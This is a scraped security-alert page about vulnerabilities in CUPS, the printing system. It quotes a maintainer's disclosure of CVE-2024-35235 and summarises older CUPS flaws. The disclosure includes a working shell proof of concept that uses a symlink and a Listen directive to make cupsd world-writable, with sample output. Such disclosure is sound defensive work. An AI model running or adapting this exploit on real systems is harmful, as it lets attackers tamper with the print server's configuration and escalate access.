-Infinity
0

Vendor Risk Score

See how cups compares to other vendors in security performance

View Risk Score →

Hi all,

We thank all the researchers for the reports!

Have a nice day,

Zdenek -- Zdenek Dohnal Senior Software Engineer Red Hat, BRQ-TPBC

Hi all,

The commits fixing the issue:

Have a nice day!

Zdenek

-- Zdenek Dohnal Senior Software Engineer Red Hat, BRQ-TPBC

Hi all,

there is vulnerability CVE-2024-35235 in cups project:

Description

Summary Details

Severity: Moderate - CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N      PoC set -e exploit()

{

echo "Staging..."

mkdir -m 777 /tmp/stage

ln -s /etc/cups/cupsd.conf /tmp/stage/cupsd.conf

# emulate configuration access to cupsd.conf

echo 'Listen /tmp/stage/cupsd.conf' | sudo tee -a /etc/cups/cupsd.conf

echo

echo "Current permissions of cupsd.conf"

ls -l /etc/cups/cupsd.conf

tail -n1 /etc/cups/cupsd.conf || true

echo echo "Restarting cupsd"

sudo systemctl restart cups

echo

echo "New permissions of cupsd.conf"

ls -l /etc/cups/cupsd.conf

tail -n1 /etc/cups/cupsd.conf || true

}

cleanup()

{

sudo sed -i '/Listen \/tmp\/stage\/cupsd.conf/d' /etc/cups/cupsd.conf

sudo chmod 640 /etc/cups/cupsd.conf

rm -rf /tmp/stage

}

$@

Sample output can be seen below:

$ sh poc.sh exploit

Staging...

Listen /tmp/stage/cupsd.conf

Current permissions of cupsd.conf

-rw-r----- 1 root lp 4987 May 24 10:18 /etc/cups/cupsd.conf

tail: cannot open '/etc/cups/cupsd.conf' for reading: Permission denied

Restarting cupsd

New permissions of cupsd.conf

-rwxrwxrwx 1 root lp 4987 May 24 10:18 /etc/cups/cupsd.conf

Listen /tmp/stage/cupsd.conf

$ sh poc.sh cleanup

Impact

Patch:

https://github.com/OpenPrinting/cups/commit/a436956f3

For OpenPrinting CUPS community,

Zdenek Dohnal

CUPS 2.4.x release manager

-- Zdenek Dohnal Senior Software Engineer Red Hat, BRQ-TPBC

Severity
8.8
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Last updated 25 August 2025

1 / 2
Source: Ubuntu
First published (updated )
Severity
4.3
XSS
AV:N/AC:M/Au:N/C:N/I:P/A:N

Cross-site scripting (XSS) vulnerability in the cgiputs function in cgi-bin/template.c in the template engine in CUPS before 2.0.3 allows remote attackers to inject arbitrary web script or HTML via the QUERY parameter to help/.

1 / 2
Source: MITRE
First published (updated )
Severity
4
XSS

The following flaw was found in CUPS:

A cross-site scripting bug in the CUPS templating engine allows this bug to be exploited when a user browses the web. This XSS is reachable in the default configuration for Linux instances of CUPS, and allows an attacker to bypass default configuration settings that bind the CUPS scheduler to the 'localhost' or loopback interface.

Acknowledgements:

Red Hat would like to thank the CERT/CC for reporting this issue.

First published (updated )
Severity
10
AV:N/AC:L/Au:N/C:C/I:C/A:C

The addjob function in scheduler/ipp.c in cupsd in CUPS before 2.0.3 performs incorrect free operations for multiple-value job-originating-host-name attributes, which allows remote attackers to trigger data corruption for reference-counted strings via a crafted (1) IPPCREATEJOB or (2) IPPPRINTJOB request, as demonstrated by replacing the configuration file and consequently executing arbitrary code.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
Input Validation
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

It was reported that ANSI escape sequences could be added to printer names in CUPS. Becaue CUPS has a browsing feature that, when enabled, allows remote hosts to announce shared printers, a malicious host or user could send a specially-crafted UDP packet to a CUPS server announcing an arbitrary printer name that includes ANSI escape sequences. Since the CUPS daemon does not remove these characters, a user on the targeted system could query the printer list (using 'lpstat -a', for example). If this were done in a terminal that supported the ANSI escape sequences (like a terminal with support for color), then code execution could be possible as the terminal would interpret the ANSI escape sequences contained in the printer name.

1 / 2
Source: Red Hat
First published (updated )
Severity
7

CUPS 1.3.x and earlier ships setuid binaries which use environment variables to set the directories in which they operate.

First published (updated )
Severity
4

Description of problem: rpmbuild cannot apply cups-CVE-2008-3640.patch due to the patch corruption.

Version-Release number of selected component (if applicable): cups-1.1.17-13.3.54.src.rpm cups-1.1.17-13.3.55.src.rpm

How reproducible: always

Steps to Reproduce: 1. rpm -i cups-1.1.17-13.3.54.src.rpm 2. rpmbuild -bp /usr/src/redhat/SPEC/cups.spec Actual results: error: File /usr/src/redhat/SOURCES/cups-CVE-2008-3640.patch is smaller than 4 bytes

Expected results: Unpack the sources and apply the patch.

Additional info:

First published (updated )
Severity
4.3
Input Validation, Integer Overflow
AV:N/AC:M/Au:N/C:N/I:N/A:P

Multiple integer overflows in (1) filter/image-png.c and (2) filter/image-zoom.c in CUPS 1.3 allow attackers to cause a denial of service (crash) and trigger memory corruption, as demonstrated via a crafted PNG image.

First published (updated )
Severity
9.3
Buffer Overflow
AV:N/AC:M/Au:N/C:C/I:C/A:C

Heap-based buffer overflow in the cgiCompileSearch function in CUPS 1.3.5, and other versions including the version bundled with Apple Mac OS X 10.5.2, when printer sharing is enabled, allows remote attackers to execute arbitrary code via crafted search expressions.

First published (updated )
Severity
10
Buffer Overflow, Double Free
AV:N/AC:L/Au:N/C:C/I:C/A:C

Double free vulnerability in the processbrowsedata function in CUPS 1.3.5 allows remote attackers to cause a denial of service (daemon crash) and possibly execute arbitrary code via crafted UDP Browse packets to the cupsd port (631/udp), related to an unspecified manipulation of a remote printer. NOTE: some of these details are obtained from third party information.

1 / 2
Source: MITRE
First published (updated )
Severity
10
Buffer Overflow
AV:N/AC:L/Au:N/C:C/I:C/A:C

Off-by-one error in the ippReadIO function in cups/ipp.c in CUPS 1.3.3 allows remote attackers to cause a denial of service (crash) via a crafted (1) textWithLanguage or (2) nameWithLanguage Internet Printing Protocol (IPP) tag, leading to a stack-based buffer overflow.

First published (updated )
Severity
5
AV:N/AC:L/Au:N/C:N/I:N/A:P

Flaw bug created to hold information about an old flaw we knew something about. For more details see the MITRE CVE description.

1 / 2
Source: Red Hat
First published (updated )
Severity
7.5
Buffer Overflow
AV:N/AC:L/Au:N/C:P/I:P/A:P

Multiple stack-based buffer overflows in the phpcups PHP module for CUPS 1.1.23rc1 might allow context-dependent attackers to execute arbitrary code via vectors that result in long function parameters, as demonstrated by the cupsgetdestoptions function in phpcups.c.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203